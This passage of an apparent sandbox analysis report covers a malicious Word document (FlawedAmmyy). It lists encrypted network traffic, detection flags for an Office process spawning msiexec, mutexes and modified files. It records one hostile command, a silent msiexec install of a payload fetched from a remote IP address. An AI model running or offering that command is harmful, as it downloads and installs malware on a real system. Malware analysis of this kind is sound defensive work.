  814. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x88\\x16\\x917]\\xf6\\x0f\\xe5\\xea&|n\\x19j\\x02\\x1bf\\xaa!\\x18\\xa7\\x91\\xcc\\xe2\\x88\\x82\\x03\\xec^#p?\\xd5\\xad\\xcd\\xd2~\\xdd\\xd9\\xd2\\x14w\\xbe\\xb3\\x83fs\\xdf]\\x94\\x0e\\x06;\\x00\\x97\\x14\\xd2\\xa5p\\x9fp`=\\x9b\\xb1\\xbd.\\xe3\\xfb\\xe0\\xcbf\\x95\\xd4\\xa4{\\x16@,\\x99_\\xd0\\x1f\\x0f\\xce\\xb3\\xadeo\\xb2\\x83\\xc6\\xd3\\xc5\\x1b\\xe5&\\xdd>g\\xa2\\xe9u\\x8a\\x1du\\xab\\xea\\xe8l>\\xf8\\xbck\\x8b\\xf1\\xbaz\\x0f\t%\\x08\\xa1 \\x96\\xb4\\x05\\xa5\\x16\\xf8q\\xcc#\\x12\\xb0\\xa0n\\x04sc\\x90\\xb7\\xfb\\xc0\\x87\\xca\\xd3\\x89\\xe7\\x8c\\xd0\\x11\\x8e\\xf5\\xc2`t9\\x8d\\x08\n\\x93\\xb0eqe\\x9b\\xe3\\x8f2\\xf4\\xcfqu\n\\x81u$\\x11\\x89\\xeaq\\x8c\\xe5\\x86\\xaf\\xeav\\xf4\\xd5\\xa1\\x93nt\rp\\x9e\\xf2gm\\xce\\xac\\xe1v\\xb1\\xdbuo\\xba\\x0f\\x89\\x9eum\\x7f\\xca\\x8a\\xaf@u\\x1b\\x95?\\xcdl\ro\\xae\\xec7y6#\\x14\\xa7\\x19\\xf7l\\x19(4\\x03\\xae\\xcf\\xd4b\\xc9\\x15,\\xea "
  815. },
  816. {
  817. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xcd7<$\\xcc\\xdd\\x96\\xfe\\x0c'?\\x87v\\xb0\\x84!\\xc2zp;g!em\\xe0\\xe0\\xa9\\x04/e\\xa0\\x82\\x13s7\\x93\\xb7\\xa3o%h\\x13\\x10\\xe3\\x81\\x1c\\xb4\\xad\\xde{\\xbb6#\\xc3\\xedb\\x987\\x02\\xafu\\x18\\x0f\\xbe\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x00\\xe8i\\x1a\\xbc\\xbb\\x0fu\\xf4v`^\\x9d\\xe2\\x0e\\xc9\\xfbz\\x8d4\\xbe\\x1d\\\\x80\\x8b\\xf4n\\xf9\\xdct\\x89e\\x97\\xe56u\\xab0\\xbf\\x92\\x7f*\\x03d};\\xd3_"
  818. },
  819. {
  820. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xed\\xf2\\xfc\t)\\xa1b\\xc7/d\\x7f\\xa9br\\xc9(af\\x01\\x1ed\\x7f\\x84\\xed\\xd8]^\\x8d\\x94\\xb9\\xb4\\xac\\xf0{\\x05\\x9d\\x95\\x17+$\\xee3+`\\xef\\xa0ry\\x84\\xfcy\\xb2\\xf8\\x9a\\xa6*x\\x19:\\x99\\xd8\\x9ep\\xf3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\r\\x99\\x9ep\\xcc\\xac\\xdf)\\xb8\\x93\\xcc\\xe0\\x9d\\x7ftvt\\xac\\xcc\\x17[\\xb3\\xbar:\\xa1e\\x80\\x12\\xceo4\\x81\\xadpf! \\xd8\\x9b\\xd6\\x9f\\x0f[s\\x05z\\xf5"
  821. },
  822. {
  823. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd7\\xbfh\\xf9\\xb3]\\x8f,\\x8e;\\xe4}\\xd8\\xb7\\x04e\\xc1\\x08<\\xca\\x83\\l\\xf1i~\\xb8\\xcf\\xc3t\\x83t\\x04\\x8e\\xc8\\xc6\\xf5\\xa7\\x04ix\\x0e\\xbd\\xeb5\\xdb\n)\\xa3\\xcf\\xb08>\\xee\\xcf\\x0e\\x8a\\xcb\\xf1\\xdfz\\xac\\x1c#\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000i>7rj\\xe7\\xd5\\x89\\x82\\xe7>\\xef `\\xfe6\\x1c\\x119xe\\xa9\\xff\\xbb\\x9bt\\xa03a%\\xb0\\xb66j\\xf5\\x065s\\xafv\\x1c\\xbe\\xf4k\\x99\\xea\\xec\\x13"
  824. },
  825. {
  826. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04z\\x83\\xfa\\x8d\\xd5f\\xa4\\xd4\\xb8\\xd6r\\xed\\xfd1,p\\xa6\\\\x8f\\x9f_q\\x1a=\\xf9imh\\xda\\x84\"\\x1ay\\x14-\\xcb[\\x88^\\x00\\xa0\\x7fb6g\\xdb\\x13\\xc9\\xda\\x7f\rh\\x05h\\x94\\xf6\\xfaui\\xaf\\xd3\\xc8\\x18\\xfc\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000i\\x13\\xba\\x91\\x92j\\xdd\\xa3k\\xdf\\x91\\x16\\x85r\\xf2n~\\xfe\\x92 +\\x04\\x05\\x81p\n\\x91;zzy\\xfa\\x9e\\xab9\\xbb\\xf8\n\\xa5\\xb5\\xcdh|x\\x0c\\xdf\\x15u"
  827. },
  828. {
  829. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdc\\xf7_1\\x08\\xb5\\xe4\\xeb\\xf9\\xa93e\\x1d\\xb8<\\xd7\\xbf\\xa6\\xd0q\\xe4\\xbf)\\xa4\\xb6\\x1a\\xfd\\x155\\xd8w\\x89f\\xb8\\xfe\\xf9\\x9f'\\xa6\\xec}\\xffa{\\xdah\\(\\x18}\\x7fn\\xa5\\xb9\\xad\\xe1\\xc3qkit\\x92kz\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xc3\\x11\\xb3\\x96w\\xe4\\xbb\\x8dh|9\\xf1\\xbb)4&i\\xf5$pp\\xbb}i\\x06'd\\xa1+d\\xdd\\x0b\\x1djw\\xcd\\x87\\x0c\"\\x1c\\xce\\xaa\\xa2\\xde\\xd70\\x0f\\xa0"
  830. },
  831. {
  832. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x8em\\x9d\\xe9-\\x81\\xcfgu\\xc6s\\x7f#\\x0b,\\x17\\x86qi\\x049e\\xe9\\x12z\\xb0\\xccaet\\x15\\xa5ta\\x87\\x9b}l \\xd78\\xc7\\xbe\\xc8p\\xf2[e\\x83\n}\\xfa\\xe0\\x8f\\x17\\xcb}\\xcd\\x1e\\xaft\\xcd\\x98!\\xf3\\xa23\\xab\\xf6\\xd8\\xc5\\xf0\\xb0=ng\\xaf\\x87\\xc17\\xa3et_\\xd0\\x19\\x02x\\x10\\x1e\\x01(\\x94<\\x9e\"\\xb5\\xecak\\xbf\\xe2b\\x8d\\x91\\x9c\\xae\\xed\\xf1\\x19\\x9e\\x1f\\xe3k\\xb7\\xe0n\\xd364\\xf8n\\x96gq\\xdbaep<!\\x9a#\\xa8\\xed\\xfb\\xe3\\x06\\x18\\x08\\x82\\xea&\\xba\\x196\\xb4oos\\xb8\\x9e\\x9e\\xa4\\xdamw\\xe9[\\xf1\\xbbj;\\xe9;\\xa7:\\xee\\xc7\\xe2\\x1d?\\xd8\\x92u\n\\x92c\\xc1u\\x82\\x14\\x8a\\x89\\xd8\\x91\\xa5\\xc6\\xe5h\\x1aunf\\xf1\\x8d\\x9e\\xdf\\x1a\\xc7\\xfd>\\xd0\\xe6\\xc5h\\x7f[\\x97\\x03\\x9c\\xd0\\x9e(f\\xd0w\\xa7\\xbb\\xe9g\\xcbc\\xe5\\xe3\\xc5\\xd6iyz\\xfc\\x1c8\\x05\\xcb\\xb9q\\xa6co\\xdc<\\x8cb\\xa6\\xb5\\x83-\\xf1#a"
  833. },
  834. {
  835. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc5]\\x8er\\xd9\\x040`'\\x04sv\\x13\\x84\\x17\\x04\\xcdb\\xb2\\x82\\xbd\\xc5`\\xf5\\xbbf\\xee\\xa4b\\xe7\\x92n\\x0b\\x8a\\xbdth\\x0f\\xa3>\\xbe\\x92ae\\xc3o\\xff\\x00(d\\xa2\\xe4\\xc7\\xfec\\x9b(\\x8f\\xb0&l\\x8a\\xa6bj\\xed\\x7f&kp9\\xf4\\xba(\\xab\\xcc\\xe3\\xf4\n\\xcfd\\x17 ?\\x1c3\\x86\\xb3\\x067\\x9c\\xabv:[\\xd9\\xff\\x0e\\xf4q\\xb6\\xact\\xc7\\x90h\\xef\\xea\\xcd\\xf7\\xf8a\\x16p\\xa3\\x9dp\\x01tg\\x0f\\x1e\\xf6\\x06\\xef\\xfeb\\xc0\\xb9\\xf8a\\xa4[\\xb7\\x0fb4v\\xce+\\x87a\\x08&qy\\xafe\\xa8ne\\x0e5\\xf1f\\x8a\\xa1\\xda\\x83\\xefj\\xac\\xb40[o\\x1fd\\xd8\\xbfl\\xce\\x82\\xba\\xb8\\x9br\\x80\\x1c\\xec\\xcb\\xf3\\xef\\xbc[<-n\\x0bp\\x1f\\xe3g>\\xe7\\xfa\\x83cc\\xdf}\\x83&{s\\x11\\x02\\xfe\\xa0\\xf0r\\xbe\\xd52a\\x17\\x9a\\xdb\\x11\\x12\\xe8\\x86\\xcc<ila\\xd6nq(\\x91a\\x8e\\x07\\x99\\x931\\x16`\\x9bq,s\\x9e\\x1e9\\xd3\\xefx\\xbc"
  836. },
  837. {
  838. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010v9\\xa7\\xedm\\x90\\x06\\xb6ep2\\xabe\\x0enmk\\xc0t\\x89z-\\xa9x\\xf3\\xaa\\x0br\\xec\\xd8\\xc1\\xc2\\xa4a\\xea\\xdc\\xb9\\x16`\\x91\\xc2\\xc8a\\xa0\\xd1w\\x0e\\xb5\\xa6\\xb1}\\xb6ln\\x99\\xb1\\x1f\\x9a\\xa0\\x11\\x93\\xcep\\xb4\\xf2bnl(8\\x80[a\\x81\\x8auu\\xecm\\x03\\x03yq\\x10\\xf8\\x03\\xf64\\xa4\\x14\\x15y#\\x0eq\\xa3lmx\\xea\\x82lr\\\\x84{q\\xdb\\x8e@\\xe4\\xcdq-\\x0ep\"#\\x91mn\\xac\\x95\\x83\\x92 \\xad4\\xf6&\\xcd\\x87\\xbei\\xc3\\xe5\t\\xbc\\xba\\xdd_\\xe2d\\xe9\\xa8\\x1f{\\x8f\\x1b\\xe4c'\\xedh\\x9f\\xb5c\\x89\\xcd\\xc9e\\xce\\xc6;\\x14\\x14\\x12\\x1c\\xb2^\\xf5\\xf8u\\x94l_\\xd0\\xc8\\xf2qw/c\\xf5\\x19\\xb5m\\xce\\xd9\\xab\\xbc\\xffx\\xee\\xd7\\xad@\\x14[}\\xbcs\\x13t\\x8a\\xb8\\xd4\\x87a\\xcd\\xed$\\xd0*\\xe2\\x15 wak\\xc47s\\xf2?a\\xfa\\xac5l\\xdb\\xae\\xb3\\xe1\\xd0\\xae\\xf0>\\x1e\\xd8\\x1b2\\xdd\\xa4\\xc9\\xc3\\xb978y\\x12"
  839. },
  840. {
  841. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010]d\\xa0\\x80\\x1f\\xe4\\xb4\\x0c\\xfd\\x04r\\x99=\t\\xbe,:\\x0e\\xec\\xc8\\xd9\\xca\\x12\\xa3i\\xc3]\\xd76\\xca\\x9bz\\x0fm\\x88\\xea\\x9f\\xa0p#\\xaf\\xe0q\\xa2\\xc3.\\x1b\\xdat?\\xea\\xd1\\x9cu\\xa3\\xafb\\xb3 \\xdb5\\xc8\\xec\\xca\\x83\\xd0\\x99\\x8fj y1!\\xe5v\\xddd#l\\x84\\x1d]\\x0c\\xe1p\\xec2\\xd9\\xa2\\x07#\\xeb}\\xfbs;\\x87wds\\xb6x\\xeb\\x891as\\xd1ccj$\\xd1\\xc2\\xea\\x11\\xd6x\\x9d\\x83r\\xfc\\x9dx\\xc3\\x97\\xb9}\\x86\\x19\\xebf\\xb7l\\x92\\x1b\\xf58\r\\xb2\\x1d%3\\xd0\\xf7h\\x1a#h\\xea\\x85wj%j\\x02\\xb9x\\x18\\x99m8\\xc8&\t\\x14\\xe3\\x8b\\xabt~i\\x00\\xcd\\xb5\\xbe7\\xd2!\\x8cj\\x0c\\xc2\\xfb\\x87i<\\xbd\r\\xc2\\xa3\r-'y\\xae\\x80\\x05\\xc7\\x86\\xd2_\"\\xd7\\xd5\\xe1\\xfaa\\xcanr\\xe7#\\x81p\\xb2\\xa9\r\\xb0q&d\\xa7\\xf3\\x06\\xa6y|\\x8e8\\xa6\\xfa\\xcd\\xe4\\x9fmm\\xa4\\xdd\\xc0\\x9e\\xd7\\xa0\\x0b&m^\\xa49\\x8f\\xe4"
  842. },
  843. {
  844. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd1l\\xff\\x1dq-\\xeftcj\\x87\\xf2\\xb0\\xdci\\x91n\\xac\\x13\\x08\\xdd\\x0b|<{\\x08m\\xeb4e\\x9e\\xc1\\xed\\x91\\xa5r\\xc0,\\xb5\\x1f\\xb1\\x19\\xa0\\xc9nrv\\xa7\\xd7 \\xdd&\"@\\xa7e&\\xd6\\xbe\\xd3\\xbb\\xa9*\\xcd\\x0c\\xea\\xea\\x0f\\x85\\xb6-\\x15\\xb1\\xecf\\x80i\\xd2!\\x88\\xfe\\x95\\x81#9'\\xf1\\xec\\x88b\\xb75q,_\\x8aci9\\x90\\xfb\\xc2\\x945~\\xff\\x06\\x04\\x17`\\xf1\\xf0\\x98z\\xa7fr\\xcc\\x02v7osn\\x80\\xc1\\xea\\xd9\\x16\\xbeak\t\\xe4\r\\xb1\\xa8\\xea\\xddi`ys\\x85%r\\xber\\xc8|\\xf6y-\\x06\\x11>\\x8c\\x10\\xdf0\\xbce,\\xfc\t\\xef51\\x81\\xfd6\\xc7\\x90}\\x86v\\x16/$\\x16$\\xb2\\xea\\xc1\\x1b\"\\xed\\x98\\xf0v\\x15\\xe0\\x80@\\xb2\\x0f\\xe4\t\\xfby0\\xd1\\x1e\\x83h\\xab\\xa4\r\\x82h\\xb5[\\xb5\\xfb\\xdeo\\x08\\xb7\\xc8\\xb6^\\x11\\xac5\\x1a`\\x17\\x1eg\\x013x\\xab#py\\xda$\\xfd\\x01\\xfc\\x07x:c\\x92\\xca\\xfd\\xa46\\x89"
  845. },
  846. {
  847. "http_request": "winword.exe_WSASend_get /pki/crl/products/microsoftrootcert.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 07 mar 2019 06:00:16 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  848. },
  849. {
  850. "http_request": "winword.exe_WSASend_get /pki/crl/products/miccodsigpca_08-31-2010.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 14 feb 2019 06:01:18 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  851. }
  852. ]
  853. },
  854. {
  855. "Description": "Martian Subprocess Started By Office Process",
  856. "Details": [
  857. {
  858. "office_martian": "c:\\windows\\syswow64\\msiexec.exe"
  859. }
  860. ]
  861. },
  862. {
  863. "Description": "The office file has 2 macros.",
  864. "Details": [
  865. {
  866. "malicious_author": "The file appears to have been created by a known fake author indicative of an automated document creation kit."
  867. },
  868. {
  869. "numerical_last_saved": "The file was last saved by a numerical author rather than a word/name indicative of an automated document creation kit."
  870. }
  871. ]
  872. },
  873. {
  874. "Description": "The office file created a suspicious child process.",
  875. "Details": [
  876. {
  877. "Processes": "WINWORD.EXE -> msiexec.exe"
  878. }
  879. ]
  880. }
  881. ]
  882.  
  883. [*] Started Service: [
  884. "osppsvc"
  885. ]
  886.  
  887. [*] Executed Commands: [
  888. "msiexec /q step1=commonl step2=files /i http://54.38.127.28/pm4"
  889. ]
  890.  
  891. [*] Mutexes: [
  892. "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  893. "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  894. "Local\\2BF388D5-6F8C-40A0-A7EE-996D005C4E14_Office15",
  895. "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
  896. "CicLoadWinStaWinSta0",
  897. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  898. "Global\\552FFA80-3393-423d-8671-7BA046BB5906",
  899. "Global\\MsoShellExtRegAccess_S-1-5-21-0000000000-0000000000-0000000000-1000",
  900. "Local\\{F99C425F-9135-43ed-BD7D-396DE488DC53}",
  901. "Global\\_MSIExecute"
  902. ]
  903.  
  904. [*] Modified Files: [
  905. "C:\\Users\\user\\AppData\\Local\\Temp\\flawedammyy_987bd2361c0ed6e05400b027c113be44.doc",
  906. "C:\\Users\\user\\AppData\\Local\\Temp\\~DFC4CA0AD0FB9D40AE.TMP",
  907. "C:\\Users\\user\\AppData\\Local\\Temp\\~$awedammyy_987bd2361c0ed6e05400b027c113be44.doc",
  908. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{81238493-8B60-4225-8BAE-82ACE96780AE}.tmp",
  909. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Office\\15.0\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=10",
  910. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{15738850-0A7D-4502-9FC5-30E41087C91E}.tmp",
  911. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{337A1030-FCEE-42F9-AA18-654904EFAFDB}.tmp",
  912. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF8116361D05D3D52E.TMP",
  913. "C:\\Users\\user\\AppData\\Local\\Temp\\VBE\\MSForms.exd",
  914. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  915. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  916. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  917. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  918. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab614.tmp",
  919. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar625.tmp",
  920. "C:\\Users\\user\\Application Data\\Microsoft\\Forms\\WINWORD.box",
  921. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF149819E3C140A21F.TMP",
  922. "C:\\Users\\user\\AppData\\Local\\Temp\\~DFF40641AE4C74F628.TMP",
  923. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF36E4868626886157.TMP",
  924. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC",
  925. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2BCF.tmp",
  926. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2C4D.tmp",
  927. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2CAB.tmp",
  928. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2D58.tmp",
  929. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2D59.tmp",
  930. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2D5B.tmp",
  931. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2D5A.tmp",
  932. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2D8B.tmp",
  933. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2D9C.tmp",
  934. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2DEC.tmp",
  935. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2DEB.tmp",
  936. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2E4C.tmp",
  937. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2E4B.tmp",
  938. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2E5C.tmp",
  939. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2E6E.tmp",
  940. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2E6F.tmp",
  941. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2E6D.tmp",
  942. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2E8F.tmp",
  943. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2EAF.tmp",
  944. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2F3E.tmp",
  945. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2EEF.tmp",
  946. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2F7D.tmp",
  947. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2F8E.tmp",
  948. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2FDD.tmp",
  949. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2FDE.tmp",
  950. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2FDF.tmp",
  951. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76",
  952. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab302E.tmp",
  953. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab305F.tmp",
  954. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar303F.tmp",
  955. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab3090.tmp",
  956. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar3060.tmp",
  957. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar3091.tmp",
  958. "C:\\Users\\user\\AppData\\Local\\Temp\\cab314E.tmp",
  959. "C:\\Users\\user\\AppData\\Local\\Temp\\cab316E.tmp",
  960. "C:\\Users\\user\\AppData\\Local\\Temp\\cab318E.tmp",
  961. "C:\\Users\\user\\AppData\\Local\\Temp\\cab31C0.tmp",
  962. "C:\\Users\\user\\AppData\\Local\\Temp\\cab31C1.tmp",
  963. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab3200.tmp",
  964. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD319F.tmp\\iso690nmerical.xsl",
  965. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD31AF.tmp\\gosttitle.xsl",
  966. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3241.tmp\\sist02.xsl",
  967. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar3201.tmp",
  968. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD",
  969. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD",
  970. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  971. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  972. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3241.tmp\\Content.inf",
  973. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD319F.tmp\\Content.inf",
  974. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD31AF.tmp\\Content.inf",
  975. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3426.tmp\\ThemePictureGrid.glox",
  976. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3426.tmp\\Content.inf",
  977. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD358F.tmp\\iso690.xsl",
  978. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab361C.tmp",
  979. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar361D.tmp",
  980. "C:\\Users\\user\\AppData\\Local\\Temp\\cab369C.tmp",
  981. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851220[[fn=gosttitle]].xsl",
  982. "C:\\Users\\user\\AppData\\Local\\Temp\\cab371C.tmp",
  983. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab370B.tmp",
  984. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD364D.tmp\\rings.glox",
  985. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851224[[fn=iso690nmerical]].xsl",
  986. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD358F.tmp\\Content.inf",
  987. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab374C.tmp",
  988. "C:\\Users\\user\\AppData\\Local\\Temp\\cab377D.tmp",
  989. "C:\\Users\\user\\AppData\\Local\\Temp\\cab379D.tmp",
  990. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851227[[fn=sist02]].xsl",
  991. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar370C.tmp",
  992. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox",
  993. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar376C.tmp",
  994. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab380C.tmp",
  995. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab3832.tmp",
  996. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab3846.tmp",
  997. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD364D.tmp\\Content.inf",
  998. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab382F.tmp",
  999. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab3830.tmp",
  1000. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab3834.tmp",
  1001. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD380E.tmp\\gb.xsl",
  1002. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab381E.tmp",
  1003. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar3845.tmp",
  1004. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar3833.tmp",
  1005. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar380D.tmp",
  1006. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar3831.tmp",
  1007. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar3847.tmp",
  1008. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar3857.tmp",
  1009. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD380E.tmp\\Content.inf",
  1010. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD38E7.tmp\\ieee2006officeonline.xsl",
  1011. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab3974.tmp",
  1012. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD38B7.tmp\\HexagonRadial.glox",
  1013. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar3868.tmp",
  1014. "C:\\Users\\user\\AppData\\Local\\Temp\\cab39E7.tmp",
  1015. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox",
  1016. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab3996.tmp",
  1017. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD38B7.tmp\\Content.inf",
  1018. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD39C6.tmp\\Equations.dotx",
  1019. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD38E7.tmp\\Content.inf",
  1020. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar3975.tmp",
  1021. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab3AD3.tmp",
  1022. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851218[[fn=gb]].xsl",
  1023. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar3AD4.tmp",
  1024. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3AE5.tmp\\ThemePictureAccent.glox",
  1025. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3AE5.tmp\\Content.inf",
  1026. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab3B07.tmp",
  1027. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar39D6.tmp",
  1028. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3AF6.tmp\\TabList.glox",
  1029. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3AF5.tmp\\harvardanglia2008officeonline.xsl",
  1030. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851223[[fn=iso690]].xsl",
  1031. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3A07.tmp\\APASixthEditionOfficeOnline.xsl",
